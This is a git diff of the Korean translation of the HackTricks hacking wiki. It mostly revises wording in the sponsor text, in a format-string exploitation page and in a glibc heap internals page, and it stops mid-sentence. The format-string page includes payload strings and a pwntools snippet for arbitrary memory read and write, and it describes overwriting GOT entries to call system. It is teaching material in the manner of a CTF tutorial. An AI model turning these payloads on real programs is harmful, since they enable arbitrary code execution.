diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index f9a051e20..e70bceed6 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index e70bceed6..d798d9edc 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png index d798d9edc..1ec78aebd 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png index 1ec78aebd..020fb69e2 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png index 020fb69e2..e3657baf3 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png index e3657baf3..f95e8e4d5 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png index f95e8e4d5..9dcb86f81 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png index 9dcb86f81..f3314db22 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png index f3314db22..7a07c3343 100644 Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png index 7a07c3343..b40c8ed4a 100644 Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png index b40c8ed4a..977c3f327 100644 Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png index 977c3f327..0b2fb1ac2 100644 Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png index 0b2fb1ac2..02f2bc2fe 100644 Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ diff --git a/README.md b/README.md index 9c548af5d..489a6e5e1 100644 --- a/README.md +++ b/README.md @@ -32,7 +32,7 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra
-[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 사명**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. +[**RootedCON**](https://www.rootedcon.com)는 **스페인**에서 가장 중요한 사이버 보안 이벤트이며 **유럽**에서 가장 중요한 이벤트 중 하나입니다. **기술 지식을 촉진하는 임무**를 가지고 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들이 모이는 뜨거운 만남의 장소입니다. {% embed url="https://www.rootedcon.com/" %} @@ -65,31 +65,28 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra ### [HACKENPROOF](https://bit.ly/3xrrDrL) -
+
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요! * **해킹 통찰력:** 해킹의 스릴과 도전에 대한 내용을 다루는 콘텐츠에 참여하세요. -* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요. -* **최신 발표:** 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요. +* **실시간 해킹 뉴스:** 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요. +* **최신 공지사항:** 새로 출시되는 버그 바운티와 중요한 플랫폼 업데이트에 대한 정보를 얻으세요. -오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요! +**지금 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에 가입하고 최고의 해커들과 협력하세요!** *** ### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - 필수 침투 테스트 도구 키트 -
+
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.** -**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요. +**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -{% endembed %} - *** ### [SerpApi](https://serpapi.com/) @@ -98,12 +95,12 @@ _Hacktricks 로고 및 모션 디자인은_ [_@ppiernacho_](https://www.instagra **SerpApi**는 **검색 엔진 결과에 접근할 수 있는 빠르고 쉬운 실시간 API**를 제공합니다. 그들은 검색 엔진을 스크랩하고, 프록시를 처리하며, 캡차를 해결하고, 모든 풍부한 구조화된 데이터를 파싱합니다. -SerpApi의 요금제 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\ -다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi의 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다. +SerpApi의 요금제에 가입하면 Google, Bing, Baidu, Yahoo, Yandex 등 다양한 검색 엔진을 스크랩하기 위한 50개 이상의 API에 접근할 수 있습니다.\ +다른 제공업체와 달리 **SerpApi는 유기적 결과만 스크랩하지 않습니다**. SerpApi 응답은 항상 모든 광고, 인라인 이미지 및 비디오, 지식 그래프 및 검색 결과에 있는 기타 요소와 기능을 포함합니다. 현재 SerpApi 고객에는 **Apple, Shopify 및 GrubHub**가 포함됩니다.\ 자세한 정보는 그들의 [**블로그**](https://serpapi.com/blog/)를 확인하거나 [**플레이그라운드**](https://serpapi.com/playground)에서 예제를 시도해 보세요.\ -여기에서 **무료 계정**을 [**생성할 수 있습니다**](https://serpapi.com/users/sign\_up)**.** +여기에서 **무료 계정을 생성**할 수 있습니다 [**여기**](https://serpapi.com/users/sign\_up)**.** *** @@ -111,11 +108,11 @@ SerpApi의 요금제 중 하나에 가입하면 Google, Bing, Baidu, Yahoo, Yand
-[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의** 기업을 최신 사이버 보안 위협으로부터 **보호**하는 데 도움을 주며 **공격 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다. +[**WebSec**](https://websec.nl)는 **암스테르담**에 본사를 둔 전문 사이버 보안 회사로, **전 세계의 기업을 최신 사이버 보안 위협으로부터 보호**하는 데 도움을 주며 **공격적 보안 서비스**를 **현대적인** 접근 방식으로 제공합니다. WebSec는 **올인원 보안 회사**로, 펜테스팅, **보안** 감사, 인식 교육, 피싱 캠페인, 코드 리뷰, 익스플로잇 개발, 보안 전문가 아웃소싱 등 모든 것을 수행합니다. -WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**한다고 웹사이트에 명시하고 있습니다. "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**" 더 많은 정보는 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요! +WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 기술에 매우 자신감이 있다는 것입니다.** 그들은 **최고 품질의 결과를 보장**하며, 웹사이트에 "**우리가 해킹할 수 없다면, 당신은 지불하지 않습니다!**"라고 명시되어 있습니다. 자세한 내용은 그들의 [**웹사이트**](https://websec.nl/en/)와 [**블로그**](https://websec.nl/blog/)를 확인하세요! 위의 내용 외에도 WebSec는 **HackTricks의 헌신적인 후원자**이기도 합니다. @@ -123,7 +120,7 @@ WebSec의 또 다른 멋진 점은 업계 평균과 달리 WebSec가 **자신의 ## License & Disclaimer -자세한 내용은 다음을 확인하세요: +그들을 확인하세요: {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -142,8 +139,8 @@ GCP 해킹 배우기 및 연습하기: 
 <summary>HackTricks 지원하기</summary>
 
 * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
-* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 저희를 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
 
 </details>
 {% endhint %}
diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md
index f5c59bc00..cc5d9743f 100644
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@@ -15,19 +15,19 @@ Learn & practice GCP Hacking: <img src= {% endhint %} -
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 필기 및 구사 필수_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_유창한 폴란드어 구사 필수_). {% embed url="https://www.stmcyber.com/careers" %} ## Basic Information -C **`printf`**는 **문자열**을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. **다음 매개변수**는 원시 텍스트의 **형식 지정자**를 **대체**할 **값**입니다. +C **`printf`**는 **문자열**을 **출력**하는 데 사용할 수 있는 함수입니다. 이 함수가 기대하는 **첫 번째 매개변수**는 **형식 지정자가 포함된 원시 텍스트**입니다. 이 원시 텍스트의 **형식 지정자**를 **대체**할 **값**이 **이후 매개변수**로 기대됩니다. 다른 취약한 함수로는 **`sprintf()`**와 **`fprintf()`**가 있습니다. -취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **어떤 주소(읽기/쓰기 가능한)**에서 **모든 데이터**를 읽고 **쓸 수 있는** **특별한 입력**을 만들 수 있습니다. 이렇게 해서 **임의 코드를 실행**할 수 있습니다. +취약점은 **공격자 텍스트가 이 함수의 첫 번째 인수로 사용될 때** 발생합니다. 공격자는 **printf 형식** 문자열 기능을 악용하여 **특별한 입력을 조작**하여 **읽기 및 쓰기 가능한** **모든 주소의 데이터를 읽고 쓸 수** 있습니다. 이렇게 하여 **임의 코드를 실행**할 수 있습니다. #### Formatters: ```bash @@ -82,12 +82,12 @@ printf("%x %x %x %x") ```c printf("%4$x") ``` -and read directly the forth. +그리고 네 번째를 직접 읽습니다. -공격자가 `printf` **매개변수를 제어한다는 것은** 그의 입력이 `printf`가 호출될 때 스택에 존재한다는 것을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있다는 것을 의미합니다. +공격자가 `printf` **매개변수를 제어한다는 점에 유의하세요. 이는 기본적으로** 그의 입력이 `printf`가 호출될 때 스택에 있을 것임을 의미하며, 이는 그가 스택에 특정 메모리 주소를 쓸 수 있음을 의미합니다. {% hint style="danger" %} -이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 만들 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법이 설명될 것입니다. +이 입력을 제어하는 공격자는 **스택에 임의의 주소를 추가하고 `printf`가 이를 접근하게 만들 수 있습니다**. 다음 섹션에서는 이 동작을 사용하는 방법에 대해 설명합니다. {% endhint %} ## **임의 읽기** @@ -106,7 +106,7 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` {% hint style="danger" %} -입력의 시작 부분에 주소 0x8048000을 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다. +입력의 시작 부분에 0x8048000 주소를 넣을 수 없다는 점에 유의하세요. 문자열은 해당 주소의 끝에서 0x00으로 잘리기 때문입니다. {% endhint %} ### 오프셋 찾기 @@ -151,34 +151,34 @@ p.close() 임의 읽기는 다음과 같은 용도로 유용할 수 있습니다: * **메모리에서** **바이너리**를 **덤프**하기 -* **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근**하기 (예: 이 [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)와 같이 카나리, 암호화 키 또는 사용자 정의 비밀번호) +* **민감한** **정보**가 저장된 메모리의 특정 부분에 **접근**하기 (예: [**CTF 챌린지**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)에서와 같이 카나리, 암호화 키 또는 사용자 정의 비밀번호) ## **임의 쓰기** -포맷터 **`%$n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%$n`**을 사용하여 임의의 숫자를 임의의 주소에 쓸 수 있게 됩니다. +포맷터 **`%$n`**은 **지정된 주소**에 **쓰기 바이트 수**를 **기록**합니다. 공격자가 printf를 사용하여 원하는 만큼의 문자를 쓸 수 있다면, 그는 **`%$n`**을 사용하여 임의의 주소에 임의의 숫자를 쓸 수 있게 됩니다. 다행히도, 숫자 9999를 쓰기 위해 입력에 9999개의 "A"를 추가할 필요는 없으며, 대신 포맷터 **`%.%$n`**을 사용하여 **``** 숫자를 **`num` 위치가 가리키는 주소**에 쓸 수 있습니다. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -그러나 일반적으로 `0x08049724`와 같은 주소를 쓰기 위해 (한 번에 쓰기에는 엄청난 숫자임) **`$hn`**이 **`$n`** 대신 사용됩니다. 이는 **2바이트만 쓸 수 있게** 해줍니다. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다. +그러나 `0x08049724`와 같은 주소를 쓰기 위해서는 (한 번에 쓰기에는 매우 큰 숫자임) **`$hn`**이 **`$n`** 대신 사용된다는 점에 유의해야 합니다. 이렇게 하면 **2바이트만 쓸 수 있습니다**. 따라서 이 작업은 주소의 가장 높은 2바이트와 가장 낮은 2바이트에 대해 각각 두 번 수행됩니다. -따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 해줍니다. +따라서 이 취약점은 **임의의 주소에 무엇이든 쓸 수 있게** 합니다. -이 예제에서 목표는 **나중에 호출될** **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는 것**입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다: +이 예제에서 목표는 나중에 호출될 **GOT** 테이블의 **함수**의 **주소**를 **덮어쓰는** 것입니다. 이는 다른 임의 쓰기를 악용하여 exec 기술을 사용할 수 있습니다: {% content-ref url="../arbitrary-write-2-exec/" %} [arbitrary-write-2-exec](../arbitrary-write-2-exec/) {% endcontent-ref %} -우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키게 할 것입니다.\ -언급했듯이 주소를 쓰기 위해서는 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다. +우리는 **사용자**로부터 **인수**를 **받는** **함수**를 **덮어쓰고**, 이를 **`system`** **함수**를 가리키도록 할 것입니다.\ +앞서 언급했듯이 주소를 쓰기 위해서는 일반적으로 2단계가 필요합니다: 먼저 주소의 2바이트를 쓰고, 그 다음에 나머지 2바이트를 씁니다. 이를 위해 **`$hn`**이 사용됩니다. -* **HOB**는 주소의 2개의 높은 바이트를 호출합니다. -* **LOB**는 주소의 2개의 낮은 바이트를 호출합니다. +* **HOB**는 주소의 2개의 높은 바이트에 호출됩니다. +* **LOB**는 주소의 2개의 낮은 바이트에 호출됩니다. -그런 다음, 포맷 문자열의 작동 방식 때문에 **먼저 더 작은** \[HOB, LOB]를 쓰고 그 다음에 다른 것을 써야 합니다. +그런 다음 포맷 문자열의 작동 방식 때문에 **먼저 가장 작은** \[HOB, LOB]를 쓰고 그 다음에 다른 것을 써야 합니다. HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -235,9 +235,9 @@ p.interactive() * [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html) * 32 비트, relro, no canary, nx, no pie, win 함수로 `fflush` 주소를 덮어쓰는 형식 문자열 (ret2win) * [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html) -* 32 비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 있는 주소를 쓰기 위한 형식 문자열 (흐름이 한 번 더 루프됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력으로 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다. +* 32 비트, relro, no canary, nx, no pie, `.fini_array` 내의 main에 있는 주소를 쓰기 위한 형식 문자열 (흐름이 한 번 더 루프됨) 및 `strlen`을 가리키는 GOT 테이블의 `system` 주소를 쓰기. 흐름이 main으로 돌아가면, `strlen`이 사용자 입력과 함께 실행되고 `system`을 가리키면, 전달된 명령이 실행됩니다. -
+
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **우리는 인재를 모집합니다!** (_유창한 폴란드어 필기 및 구사 필수_). @@ -251,5 +251,5 @@ HackTricks 지원하기 * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** -* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.** +* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요. {% endhint %} diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md index 8ff219afe..d5470d802 100644 --- a/binary-exploitation/libc-heap/README.md +++ b/binary-exploitation/libc-heap/README.md @@ -4,19 +4,19 @@ 힙은 기본적으로 프로그램이 **`malloc`**, `calloc`와 같은 함수를 호출하여 데이터를 요청할 때 데이터를 저장할 수 있는 장소입니다. 또한, 이 메모리가 더 이상 필요하지 않을 때는 **`free`** 함수를 호출하여 사용 가능하게 됩니다. -보시다시피, 이는 바이너리가 메모리에 로드된 직후에 위치합니다 ( `[heap]` 섹션을 확인하세요): +보시다시피, 이는 바이너리가 메모리에 로드된 직후에 위치합니다( `[heap]` 섹션을 확인하세요):
### Basic Chunk Allocation -힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋만큼이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다. +힙에 저장할 데이터가 요청되면, 힙의 일부 공간이 할당됩니다. 이 공간은 빈에 속하며 요청된 데이터 + 빈 헤더의 공간 + 최소 빈 크기 오프셋이 청크를 위해 예약됩니다. 목표는 각 청크의 위치를 찾는 것을 복잡하게 만들지 않으면서 가능한 최소한의 메모리만 예약하는 것입니다. 이를 위해 메타데이터 청크 정보를 사용하여 사용 중인/비어 있는 청크의 위치를 알 수 있습니다. 공간을 예약하는 방법은 사용된 빈에 따라 다르지만, 일반적인 방법론은 다음과 같습니다: * 프로그램은 특정 양의 메모리를 요청합니다. * 청크 목록에 요청을 충족할 수 있을 만큼 큰 사용 가능한 청크가 있으면 사용됩니다. -* 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미할 수 있습니다. +* 이는 사용 가능한 청크의 일부가 이 요청에 사용되고 나머지는 청크 목록에 추가될 수 있음을 의미합니다. * 목록에 사용 가능한 청크가 없지만 할당된 힙 메모리에 여전히 공간이 있는 경우, 힙 관리자는 새 청크를 생성합니다. * 새 청크를 할당할 충분한 힙 공간이 없는 경우, 힙 관리자는 커널에 힙에 할당된 메모리를 확장하도록 요청하고 이 메모리를 사용하여 새 청크를 생성합니다. * 모든 것이 실패하면, `malloc`은 null을 반환합니다. @@ -25,27 +25,27 @@ ## Arenas -**멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 인한 크래시를 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다. +**멀티스레드** 애플리케이션에서 힙 관리자는 충돌로 이어질 수 있는 **경쟁 조건**을 방지해야 합니다. 처음에는 **전역 뮤텍스**를 사용하여 한 번에 하나의 스레드만 힙에 접근할 수 있도록 했지만, 이는 뮤텍스에 의한 병목 현상으로 인해 **성능 문제**를 일으켰습니다. 이를 해결하기 위해 ptmalloc2 힙 할당자는 "아레나"를 도입했습니다. 여기서 **각 아레나**는 **자체** 데이터 **구조**와 **뮤텍스**를 가진 **별도의 힙**으로 작용하여 서로 다른 아레나를 사용하는 한 여러 스레드가 힙 작업을 수행할 수 있도록 합니다. 기본 "메인" 아레나는 단일 스레드 애플리케이션의 힙 작업을 처리합니다. **새 스레드**가 추가되면, 힙 관리자는 경쟁을 줄이기 위해 **보조 아레나**를 할당합니다. 먼저 각 새 스레드를 사용되지 않는 아레나에 연결하려고 시도하며, 필요할 경우 새 아레나를 생성합니다. 32비트 시스템의 경우 CPU 코어 수의 2배, 64비트 시스템의 경우 8배까지 제한이 있습니다. 제한에 도달하면 **스레드는 아레나를 공유해야 하며**, 이는 잠재적인 경쟁으로 이어질 수 있습니다. -메인 아레나와 달리 `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다. +메인 아레나와 달리 `brk` 시스템 호출을 사용하여 확장되는 보조 아레나는 `mmap` 및 `mprotect`를 사용하여 "서브힙"을 생성하여 힙 동작을 시뮬레이션하고 멀티스레드 작업을 위한 메모리 관리의 유연성을 제공합니다. ### Subheaps 서브힙은 멀티스레드 애플리케이션에서 보조 아레나를 위한 메모리 예비 공간으로 작용하여, 메인 힙과 별도로 자체 힙 영역을 성장시키고 관리할 수 있게 합니다. 서브힙이 초기 힙과 어떻게 다른지 및 작동 방식은 다음과 같습니다: 1. **초기 힙 vs. 서브힙**: -* 초기 힙은 프로그램의 바이너리 바로 뒤에 메모리에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다. +* 초기 힙은 메모리에서 프로그램의 바이너리 바로 뒤에 위치하며, `sbrk` 시스템 호출을 사용하여 확장됩니다. * 보조 아레나에서 사용되는 서브힙은 지정된 메모리 영역을 매핑하는 시스템 호출인 `mmap`을 통해 생성됩니다. 2. **`mmap`을 통한 메모리 예약**: * 힙 관리자가 서브힙을 생성할 때, `mmap`을 통해 큰 메모리 블록을 예약합니다. 이 예약은 즉시 메모리를 할당하지 않으며, 다른 시스템 프로세스나 할당이 사용하지 않아야 할 영역을 지정하는 것입니다. * 기본적으로 서브힙의 예약 크기는 32비트 프로세스의 경우 1MB, 64비트 프로세스의 경우 64MB입니다. 3. **`mprotect`를 통한 점진적 확장**: * 예약된 메모리 영역은 처음에 `PROT_NONE`으로 표시되어, 커널이 이 공간에 물리적 메모리를 할당할 필요가 없음을 나타냅니다. -* 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다. +* 서브힙을 "확장"하기 위해, 힙 관리자는 `mprotect`를 사용하여 페이지 권한을 `PROT_NONE`에서 `PROT_READ | PROT_WRITE`로 변경하여 커널이 이전에 예약된 주소에 물리적 메모리를 할당하도록 유도합니다. 이 단계별 접근 방식은 서브힙이 필요에 따라 확장될 수 있도록 합니다. * 서브힙이 모두 소진되면, 힙 관리자는 할당을 계속하기 위해 새 서브힙을 생성합니다. ### heap\_info @@ -70,8 +70,8 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; ``` ### malloc\_state -**각 힙** (메인 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가집니다.**\ -**메인 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\ +**각 힙** (주 아레나 또는 다른 스레드 아레나)은 **`malloc_state` 구조체를 가지고 있습니다.**\ +**주 아레나 `malloc_state`** 구조체는 **libc의 전역 변수**라는 점에 유의하는 것이 중요합니다 (따라서 libc 메모리 공간에 위치합니다).\ 스레드의 힙의 **`malloc_state`** 구조체는 **자신의 스레드 "힙"** 내부에 위치합니다. 이 구조체에서 주목할 만한 몇 가지 흥미로운 점이 있습니다 (아래 C 코드를 참조): @@ -86,10 +86,10 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; #define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT) #define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT) ``` -* `mchunkptr bins[NBINS * 2 - 2];`는 **작은, 큰 및 정렬되지 않은 **bins**의 **첫 번째 및 마지막 청크**에 대한 **포인터**를 포함합니다 (인덱스 0이 사용되지 않기 때문에 -2입니다). -* 따라서, 이러한 bins의 **첫 번째 청크**는 이 구조체에 대한 **역방향 포인터**를 가지며, **마지막 청크**는 이 구조체에 대한 **정방향 포인터**를 가집니다. 이는 기본적으로 **메인 아레나에서 이러한 주소를 l**eak**할 수 있다면, **libc**의 구조체에 대한 포인터를 가지게 된다는 것을 의미합니다. +* `mchunkptr bins[NBINS * 2 - 2];`는 **작고, 큰 및 